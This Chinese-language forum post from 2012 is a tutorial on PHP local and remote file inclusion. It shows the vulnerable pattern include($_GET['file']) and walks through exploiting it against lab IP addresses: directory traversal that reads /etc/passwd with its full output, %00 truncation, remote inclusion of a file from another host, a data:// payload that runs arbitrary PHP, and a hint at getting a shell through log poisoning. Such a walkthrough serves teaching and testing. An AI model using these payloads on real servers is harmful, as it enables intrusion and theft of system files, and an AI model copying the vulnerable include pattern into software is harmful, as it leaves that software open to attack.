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238 PHP文件包含漏洞[复制链接]
发表于 2012-8-26 20:50:31 | 显示全部楼层 |!read_mode!

涉及到的危险函数〔include(),require()和include_once(),require_once()〕 include()&&require()语句:包括并运行指定文件。这两种结构除了在如何处理失败之外完全一样。include()产生一个警告而require()则导致一个致命错误。换句话说,如果你想在遇到丢失文件时停止处理页面就用require()。include()就不是这样。

漏洞代码:

  1. root@ubuntu:/var/www# cat lif.php
  2. <?php include($_GET['file']); ?>
  3. root@ubuntu:/var/www#
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他能包含任意文件  例如 本地目录下的phpinfo.php文件:http://5.5.5.4/lif.php?file=phpinfo.php怎么利用
由前面我们可以看到,由于对取得的参数page没有过滤,于是我们可以任意指定目标主机上的其它敏感文件,,那么我们就可以多次探测来包含其它文件,比如指定URL为:http://5.5.5.4/lif.php?file=phpinfo.php 可以读出当前路径下的phpinfo.php 文件,也可以使用../../进行目录跳转(在没过滤../的情况下);也可以直接指定绝对路径,读取敏感的系统文件例如:
  1. root@Dis9Team:~# curl [url]http://5.5.5.4/lif.php?file=../../etc/passwd[/url]
  2. root:x:0:0:root:/root:/bin/bash
  3. daemon:x:1:1:daemon:/usr/sbin:/bin/sh
  4. bin:x:2:2:bin:/bin:/bin/sh
  5. sys:x:3:3:sys:/dev:/bin/sh
  6. sync:x:4:65534:sync:/bin:/bin/sync
  7. games:x:5:60:games:/usr/games:/bin/sh
  8. man:x:6:12:man:/var/cache/man:/bin/sh
  9. lp:x:7:7:lp:/var/spool/lpd:/bin/sh
  10. mail:x:8:8:mail:/var/mail:/bin/sh
  11. news:x:9:9:news:/var/spool/news:/bin/sh
  12. uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
  13. proxy:x:13:13:proxy:/bin:/bin/sh
  14. www-data:x:33:33:www-data:/var/www:/bin/sh
  15. backup:x:34:34:backup:/var/backups:/bin/sh
  16. list:x:38:38:Mailing List Manager:/var/list:/bin/sh
  17. irc:x:39:39:ircd:/var/run/ircd:/bin/sh
  18. gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
  19. nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
  20. libuuid:x:100:101::/var/lib/libuuid:/bin/sh
  21. syslog:x:101:103::/home/syslog:/bin/false
  22. sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
  23. brk:x:1000:1000:brk,,,:/home/brk:/bin/bash
  24. mysql:x:103:110:MySQL Server,,,:/nonexistent:/bin/false
  25. root@Dis9Team:~#
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仅限Windows, 如果他是受限制的 例如:
  1. <?php include("./" . $_GET['file'] . ".htm"); ?>
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可以用%00突破
他把任意文件都当作PHP运行 例如
  1. root@ubuntu:/var/www# cat phpinfo.txt
  2. <?php phpinfo(); ?>
  3. root@ubuntu:/var/www# GET [url]http://5.5.5.3/lif.php?file=phpinfo.txt[/url] | more
  4. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-tran
  5. sitional.dtd">
  6. <html><head>
  7. <style type="text/css">
  8. body {background-color: #ffffff; color: #000000;}
  9. body, td, th, h1, h2 {font-family: sans-serif;}
  10. pre {margin: 0px; font-family: monospace;}
  11. a:link {color: #000099; text-decoration: none; background-color: #ffffff;}
  12. a:hover {text-decoration: underline;}
  13. table {border-collapse: collapse;}
  14. .center {text-align: center;}
  15. .center table { margin-left: auto; margin-right: auto; text-align: left;}
  16. .center th { text-align: center !important; }
  17. td, th { border: 1px solid #000000; font-size: 75%; vertical-align: baseline;}
  18. h1 {font-size: 150%;}
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只需要包含日志写入木马 或者找个上传就能获得SHELL远程包含
  1. root@ubuntu:/var/www# GET [url]http://5.5.5.3/lif.php?file=http://5.5.5.2/1.txt[/url] | more
  2. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-tran
  3. sitional.dtd">
  4. <html><head>
  5. <style type="text/css">
  6. body {background-color: #ffffff; color: #000000;}
  7. body, td, th, h1, h2 {font-family: sans-serif;}
  8. pre {margin: 0px; font-family: monospace;}
  9. a:link {color: #000099; text-decoration: none; background-color: #ffffff;}
  10. a:hover {text-decoration: underline;}
  11. table {border-collapse: collapse;}
  12. .center {text-align: center;}
  13. .center table { margin-left: auto; margin-right: auto; text-align: left;}
  14. .center th { text-align: center !important; }
  15. td, th { border: 1px solid #000000; font-size: 75%; vertical-align: baseline;}
  16. h1 {font-size: 150%;}
  17. h2 {font-size: 125%;}
  18. .p {text-align: left;}
  19. .e {background-color: #ccccff; font-weight: bold; color: #000000;}
  20. .h {background-color: #9999cc; font-weight: bold; color: #000000;}
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或者执行任意PHP:http://5.5.5.3/lif.php?file=data://text/plain,%3C?php%20phpinfo%28%29;%20?%3E




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